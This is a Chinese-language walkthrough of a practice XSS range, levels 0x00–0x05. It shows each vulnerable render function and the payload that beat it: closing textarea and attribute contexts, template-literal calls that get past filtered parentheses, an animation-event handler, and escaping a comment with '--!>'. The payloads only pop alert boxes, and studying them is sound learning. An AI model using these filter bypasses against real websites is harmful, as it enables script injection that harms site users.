耗子的XSS靶场wp
0x00
非常简单的一关
function render (input) {
return '<div>' + input + '</div>'
}
直接通关
<script>alert(1)</script>
0x01
这一关使用了textarea来将我们的输入转成文本
function render (input) {
return '<textarea>' + input + '</textarea>'
}
这里我的思路是闭合textarea
</textarea><script>alert(1)</script>
0x02
第二关是闭合属性的
function render (input) {
return '<input type="name" value="' + input + '">'
}
只需要简单闭合就🆗了
""<><script>alert(1)</script>
<input type="name" value=""><script>alert(1)</script>">
0x03
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
可以看到过滤了[
]
(
)
这几个符号,我一开始的思路是想到用编码方式绕过,经过学习发现这个想法是不能实现的。
第三关查阅了资料一次对浏览器解析和XSS的深度探究从中了解在原始文本元素(Raw textelements),<script>
和<style>
中是无法使用字符实体的。
要用到 ` 深入浅出ES6(四):模板字符串
<script>alert`1`</script>
0x04
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
可以看到 ` 也被过滤掉了,那么思路回到编码绕过并根据上一关的学习,在
<script>
中是无法使用编码字符实体的,所以需要借助属性值,因为属性值首先会被HTML解析 。那么思路明确后非常简单了,先去bp学院复制一个payload然后将过滤字符进行实体编码转换
<style>@keyframes x{
}</style><img style="animation-name:x" onanimationend="alert(1)"></img>
0x05
这一关涉及到注释
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
可以看到-->
被替换成一个😂来避免注释。我试过通过闭合后面的,但是不成功
<script>alert(1)</script><!--
<!--<script>alert(1)</script><!-- -->
也就是说我们必须闭合前面的才能逃出注释,然后注释有2种
<!-- -->
<!-- --!>
所以答案很明显了
--!><script>alert(1)</script>
<-- --!><script>alert(1)